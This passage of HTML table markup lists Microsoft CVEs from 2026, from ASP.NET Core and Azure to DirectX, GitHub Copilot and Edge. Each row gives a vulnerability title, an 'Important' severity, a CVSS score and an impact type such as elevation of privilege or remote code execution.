  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
